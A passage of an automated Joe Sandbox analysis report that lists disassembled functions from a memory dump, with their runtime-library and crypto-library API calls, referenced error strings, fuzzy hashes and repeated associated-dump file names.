Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 683e36cf9ef90be2788eae496ac015f31a2e74e7e20df457306eb0eea3b7d057
Instruction ID: 3dc99a7c23248329c5c98c667c45302512090862bb6bb9af69c3285f14d476b2
Opcode Fuzzy Hash: 683e36cf9ef90be2788eae496ac015f31a2e74e7e20df457306eb0eea3b7d057
Instruction Fuzzy Hash: 6211C832B052166BCB212B3AE80C78F3BB8EB467A9B241525E444A6B40DF35C540A7A6

Function 6CF67240 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 6CF84410: _malloc.LIBCMT ref: 6CF8446E

SafeArrayCreateVector.OLEAUT32(00000011,00000000,?), ref: 6CF67287
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 6CF6729B
_memmove.LIBCMT ref: 6CF672AF
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6CF672B8

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Data$AccessCreateUnaccessVector_malloc_memmove
String ID:
API String ID: 583974297-0
Opcode ID: 09c840e05b8280bc5fe1535b373282a863d7a055248c2cd3bb23dfeff5f957dd
Instruction ID: a1465d9433ffca60e7c0d0c8bc5a9389a06b473a03cd9fd440f411213d76c986
Opcode Fuzzy Hash: 09c840e05b8280bc5fe1535b373282a863d7a055248c2cd3bb23dfeff5f957dd
Instruction Fuzzy Hash: 521163B2A10118BBCB14DFA6D880DDFBB7CDF99754B018269F904A7600EA709A058BE0

Function 6CF75A70 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF75AB9
VariantCopy.OLEAUT32(?,6CFE9C90), ref: 6CF75AC1
VariantClear.OLEAUT32(?), ref: 6CF75AE2
__CxxThrowException@8.LIBCMT ref: 6CF75AEF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$ClearCopyException@8InitThrow
String ID:
API String ID: 3826472263-0
Opcode ID: 22796edea9773ffdec2bbafa15c31e61a44d241cd2b7f8b76b9e04124faf21c3
Instruction ID: ceababf1839d1bb3ad929824ab662cc0b3843efad54de29cac33ac3426936503
Opcode Fuzzy Hash: 22796edea9773ffdec2bbafa15c31e61a44d241cd2b7f8b76b9e04124faf21c3
Instruction Fuzzy Hash: 3211E672D05268AFDF11DF98D8C4ADFBB78EB46614F11426BE824A3700C775AE0487E1

Function 6CF88D80 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6CF88D8A

Part of subcall function 6CFB9D66: __FF_MSGBANNER.LIBCMT ref: 6CFB9D7F
Part of subcall function 6CFB9D66: __NMSG_WRITE.LIBCMT ref: 6CFB9D86
Part of subcall function 6CFB9D66: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,00000000,?,6CFB9BD4,6CF51290,CA0C7769), ref: 6CFB9DAB

Part of subcall function 6CFB91F6: std::_Lockit::_Lockit.LIBCPMT ref: 6CFB9202

_malloc.LIBCMT ref: 6CF88DAF
std::exception::exception.LIBCMT ref: 6CF88DD4
__CxxThrowException@8.LIBCMT ref: 6CF88DEB

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _malloc$AllocateException@8HeapLockitLockit::_Throwstd::_std::exception::exception
String ID:
API String ID: 3043633502-0
Opcode ID: 03616a26d5ebc220fa5aa0320aa639e8f636499d488438775d95620b77d2668d
Instruction ID: 25009b51044faf3f43cefe1209cb5e6cc80a63fa253df8cd2765ca158a57f952
Opcode Fuzzy Hash: 03616a26d5ebc220fa5aa0320aa639e8f636499d488438775d95620b77d2668d
Instruction Fuzzy Hash: 29F0F07380521167D200EB679C41BEF76F89FA1715F44081DF864A1B00EB31E70C82B3

Function 6CFC0A60 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 6CFC0A86

Part of subcall function 6CFC08B2: __fltout2.LIBCMT ref: 6CFC08DD

__cftog_l.LIBCMT ref: 6CFC0AAC
__cftoe_l.LIBCMT ref: 6CFC0ADE

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 6dec1479e2d6d6a60038ab6016221e60e9c04a6c398be612ee84eba956145e4e
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: C9117EB320418ABBCF065E84DC51CDF3F22BB19358F598515FE2859930C376C5B2AB82

Function 6CFB8970 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6CFB8A84
_memmove.LIBCMT ref: 6CFB8AA0

Strings

EncodingParameters, xrefs: 6CFB8A41

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _memmove_memset
String ID: EncodingParameters
API String ID: 3555123492-55378216
Opcode ID: a26fa20f6e5a38139a21893c90924e8d00c7b8068a34221745ed7a8bb954fcad
Instruction ID: 25c8dbf2fa07315167ef3212e32b56c88059fa2620790448976928d017396669
Opcode Fuzzy Hash: a26fa20f6e5a38139a21893c90924e8d00c7b8068a34221745ed7a8bb954fcad
Instruction Fuzzy Hash: 1C61F2B4208341AFC304CF69C880A1AFBE9AFC9754F144A1DF59987391D7B0E945CBA2

Function 6CF5F190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6CF54760: __CxxThrowException@8.LIBCMT ref: 6CF547F9

Part of subcall function 6CF88D80: _malloc.LIBCMT ref: 6CF88D8A
Part of subcall function 6CF88D80: _malloc.LIBCMT ref: 6CF88DAF

_memcpy_s.LIBCMT ref: 6CF5F282
_memset.LIBCMT ref: 6CF5F293

Strings

@, xrefs: 6CF5F2DE

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _malloc$Exception@8Throw_memcpy_s_memset
String ID: @
API String ID: 3081897325-2766056989
Opcode ID: 05d39606c188922ac61d012a73e55a50b175fcebbb823a90ab2220e14a51a000
Instruction ID: 952947ff52a104397e5c72311fe564b98d8c052e2957a622580103c930cb2554
Opcode Fuzzy Hash: 05d39606c188922ac61d012a73e55a50b175fcebbb823a90ab2220e14a51a000
Instruction Fuzzy Hash: F551BDB1A00248DFDB10CFA4D881BDEBBB4BF55308F108199D9596B781DBB16A09CF92

Function 6CF54100 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF54175
_memmove.LIBCMT ref: 6CF541C6

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

Strings

string too long, xrefs: 6CF54170

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 82d66f1b01316716338fe7552e393a4ef0a73cf8df5557c73722f3b4a67c5064
Instruction ID: d3b286ad93a60bbaec7604a4f73c69c1cb8120e0767fcd84e15d420c76fa6aeb
Opcode Fuzzy Hash: 82d66f1b01316716338fe7552e393a4ef0a73cf8df5557c73722f3b4a67c5064
Instruction Fuzzy Hash: CB31E4323046105BD3228E5CAC80A5BFBE9EBB1764BA10A1BE691C7F40C761987497A1

Function 6CF8C350 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6CF8C39B

Strings

gfff, xrefs: 6CF8C3F7
gfff, xrefs: 6CF8C3A3

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throw
String ID: gfff$gfff
API String ID: 2005118841-3084402119
Opcode ID: 0fc975951894ecdd0a9fd187ee17f5a7dd85dbf523fbdf3c3300f41ba2466e2d
Instruction ID: 76688bbb48107995f8cd52597a5f614f99ab70f006474a0281a06c795b7bd170
Opcode Fuzzy Hash: 0fc975951894ecdd0a9fd187ee17f5a7dd85dbf523fbdf3c3300f41ba2466e2d
Instruction Fuzzy Hash: 4E314071A0020DAFDB14CF98DD80EEEB7B9EB84718F44861CE91597684D730BA09CBA1

Function 6CF518C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CF5194F

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

std::exception::exception.LIBCMT ref: 6CF5198E

Part of subcall function 6CFB95C1: std::exception::operator=.LIBCMT ref: 6CFB95DA

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF54067
Part of subcall function 6CF54010: _memmove.LIBCMT ref: 6CF540C8

Strings

Clone() is not implemented yet., xrefs: 6CF518ED

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$ExceptionException@8RaiseThrow_memmovestd::exception::exceptionstd::exception::operator=
String ID: Clone() is not implemented yet.
API String ID: 2192554526-226299721
Opcode ID: 289678064193d5c8500e17b87f6bf6b6bbf7f12323d2d18e783c600216ef401d
Instruction ID: 22aaee7dc1a45cb7007c5f1955be41ddccf076aea5b963d93ca4967af8eadcfd
Opcode Fuzzy Hash: 289678064193d5c8500e17b87f6bf6b6bbf7f12323d2d18e783c600216ef401d
Instruction Fuzzy Hash: 983130B1C04248AFDB14CF99D841BEEFFB8EB15714F14466EE421A7B90D775AA08CB50

Function 6CF85560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CF85657

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Strings

StringStore: missing InputBuffer argument, xrefs: 6CF855E0
InputBuffer, xrefs: 6CF855BF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: InputBuffer$StringStore: missing InputBuffer argument
API String ID: 3718517217-2380213735
Opcode ID: 7658aec960ecf026226845b837d2e4f196cd5a3a445a48e27d5a0da59186f7b7
Instruction ID: f41fe1e5861de3a9d6c5009c1535b27d6996c600585f4197c0e89a6ac48855ba
Opcode Fuzzy Hash: 7658aec960ecf026226845b837d2e4f196cd5a3a445a48e27d5a0da59186f7b7
Instruction Fuzzy Hash: BD4138B15083809FD320CF29C490A9BFBF4BB99714F548A1DF5E983790DB759908CB52

Function 6CF51EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CF51F36

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

std::exception::exception.LIBCMT ref: 6CF51F6E

Part of subcall function 6CFB95C1: std::exception::operator=.LIBCMT ref: 6CFB95DA

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF54067
Part of subcall function 6CF54010: _memmove.LIBCMT ref: 6CF540C8

Strings

CryptoMaterial: this object does not support precomputation, xrefs: 6CF51ED4

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$ExceptionException@8RaiseThrow_memmovestd::exception::exceptionstd::exception::operator=
String ID: CryptoMaterial: this object does not support precomputation
API String ID: 2192554526-3625584042
Opcode ID: 08bbd9e491b1246304728a2f93764e06ebb86e594027289b0469167df4d40d76
Instruction ID: 765f1f1d89ddee8cab57d1017ea658aeb0e6d9713be1503ece97b8c3637af342
Opcode Fuzzy Hash: 08bbd9e491b1246304728a2f93764e06ebb86e594027289b0469167df4d40d76
Instruction Fuzzy Hash: EF3141B1D04248AFCB14CF99D840BDEFBB8FB19714F14866EE421A7B90D775AA08CB50

Function 6CF63317 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6CF63327

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

std::_Xinvalid_argument.LIBCPMT ref: 6CF6336B

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

Strings

vector<T> too long, xrefs: 6CF63366

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception$ExceptionRaiseXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 1735018483-3788999226
Opcode ID: a165b119964948c5ce711740cff449676f38b3cacf78ded830312fd97061aaf9
Instruction ID: 0f9d004133a2fb17f9304cfe1a0dfaf5c96da391760c652b64f82b847edde769
Opcode Fuzzy Hash: a165b119964948c5ce711740cff449676f38b3cacf78ded830312fd97061aaf9
Instruction Fuzzy Hash: FB31F771E042159FCB24DF99D881F9EB7B4EB45314F104639E929ABB90DB31BD04CB91

Function 6CF75810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF7584D

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

VariantClear.OLEAUT32(00000000), ref: 6CF75899

Strings

vector<T> too long, xrefs: 6CF75848

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

